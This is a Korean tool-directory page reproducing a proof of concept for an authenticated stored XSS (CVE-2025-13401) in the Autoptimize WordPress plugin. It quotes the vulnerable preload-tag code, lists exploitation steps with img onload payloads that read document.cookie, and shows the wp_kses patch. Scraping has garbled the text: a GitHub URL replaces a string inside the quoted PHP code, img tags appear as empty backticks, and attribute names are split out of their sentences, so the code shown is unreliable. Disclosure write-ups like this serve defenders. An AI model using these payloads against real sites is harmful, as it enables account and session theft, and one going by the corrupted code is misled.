Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-13401-XSS-Stored — Autoptimize 3.1.14 미만에서 인증된 저장형 XSS에 대한 개념 증명으로, 이미지 사전 로드 태그 생성 시 불충분한 속성 삭제를 악용합니다. | Kitploit
도구/GitHubGitHub/ciscocamelo/cve-2025-13401-xss-stored
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubciscocamelo/cve-2025-13401-xss-stored

CVE-2025-13401-XSS-Stored

Autoptimize 3.1.14 미만에서 인증된 저장형 XSS에 대한 개념 증명으로, 이미지 사전 로드 태그 생성 시 불충분한 속성 삭제를 악용합니다.

저장소 보기
9개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

개념 증명: Autoptimize < 3.1.14의 저장형 XSS

취약점: 인증된 (Contributor+) 저장형 교차 사이트 스크립팅 (XSS) 영향받는 버전: Autoptimize <= 3.1.13 패치된 버전: Autoptimize 3.1.14 파일: classes/autoptimizeImages.php

설명

이 취약점은 classes/autoptimizeImages.php 내의 create_img_preload_tag() 메서드에 존재합니다. 이 함수는 이미지 최적화 또는 사전 로드가 활성화된 경우 콘텐츠에서 발견된 이미지에 대한 <link rel="preload"> 태그를 생성하는 역할을 합니다.

버전 3.1.13에서 이 함수는 원래 `` 태그를 <link> 태그로 변환하기 전에 title, alt, class, id, , 같은 특정 속성을 제거하기 위해 "블랙리스트" 방식( 사용)을 사용합니다. 그러나 나 같은 이벤트 핸들러 속성은 제거하지 못합니다.

width
height
preg_replace
onload
onerror

인증된 공격자(최소 Contributor 역할 보유)는 게시물에 악성 `` 태그를 삽입할 수 있습니다. 플러그인이 이 게시물을 처리하여 사전 로드 링크를 생성하면 악성 이벤트 핸들러가 보존되어 <link> 태그 내부의 페이지 <head>에 주입됩니다. <link rel="preload">는 onload 이벤트를 지원하므로 리소스가 로드될 때 JavaScript가 실행됩니다.

취약한 코드 (v3.1.13)

root@kitploit:~
// classes/autoptimizeImages.php

public static function create_img_preload_tag( $tag ) {
    // ...
    // rewrite img tag to link preload img.
    $_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
    $_to   = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
    $tag   = str_replace( $_from, $_to, $tag );

    // INSUFFICIENT SANITIZATION: Only removes specific attributes
    $tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
    // ...
    return $tag;
}

개념 증명 단계

전제 조건

  1. Autoptimize 버전 3.1.13을 설치합니다.
  2. "Optimize Images"를 활성화하거나 이미지 사전 로드가 활성 상태인지 확인합니다(예: "Preload specific requests" 또는 이미지에 적용되는 기본 동작을 통해).
    • 참고: 취약한 함수 create_img_preload_tag는 뷰포트에서 감지된 이미지나 명시적으로 사전 로드된 이미지에서 자주 트리거됩니다.

페이로드

root@kitploit:~
<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">

악용

  1. Contributor 역할(또는 그 이상)을 가진 사용자로 로그인합니다.
  2. 새 게시물을 작성합니다.
  3. 게시물 콘텐츠에 페이로드를 주입합니다(Custom HTML 블록 또는 Code 편집기 사용).
    root@kitploit:~
    <!-- Malicious Image -->
    <img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    (로컬 리소스를 사용하면 로드 이벤트가 빠르게 발생하는 경우가 많습니다. 유효한 이미지 URL은 무엇이든 작동합니다.)
  4. 게시물을 저장합니다.
  5. Administrator가 게시물을 조회할 때까지 기다립니다(또는 직접 조회합니다).
  6. Autoptimize 플러그인이 `` 태그를 파싱합니다.
  7. HTML 소스에 사전 로드 링크를 생성합니다:
    root@kitploit:~
    <link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
    
    참고: width, height 등의 속성은 제거될 수 있지만 onload는 남아 있습니다.
  8. 브라우저가 <link> 태그를 파싱하고 리소스를 사전 로드한 다음 onload 이벤트를 발생시켜 XSS를 실행합니다.

v3.1.14 수정 사항

패치는 블랙리스트 정규식을 wp_kses()로 대체하여 생성된 <link> 태그에 허용되는 속성에 대해 엄격한 화이트리스트를 적용합니다.

root@kitploit:~
// classes/autoptimizeImages.php v3.1.14

$allowed_html = array(
    'link' => array(
        'rel'           => true,
        'as'            => true,
        'href'          => true,
        'imagesizes'    => true,
        'imagesrcset'   => true,
        'type'          => true,
        'media'         => true,
    ),
);
$tag = wp_kses( $tag, $allowed_html );
도구 다운로드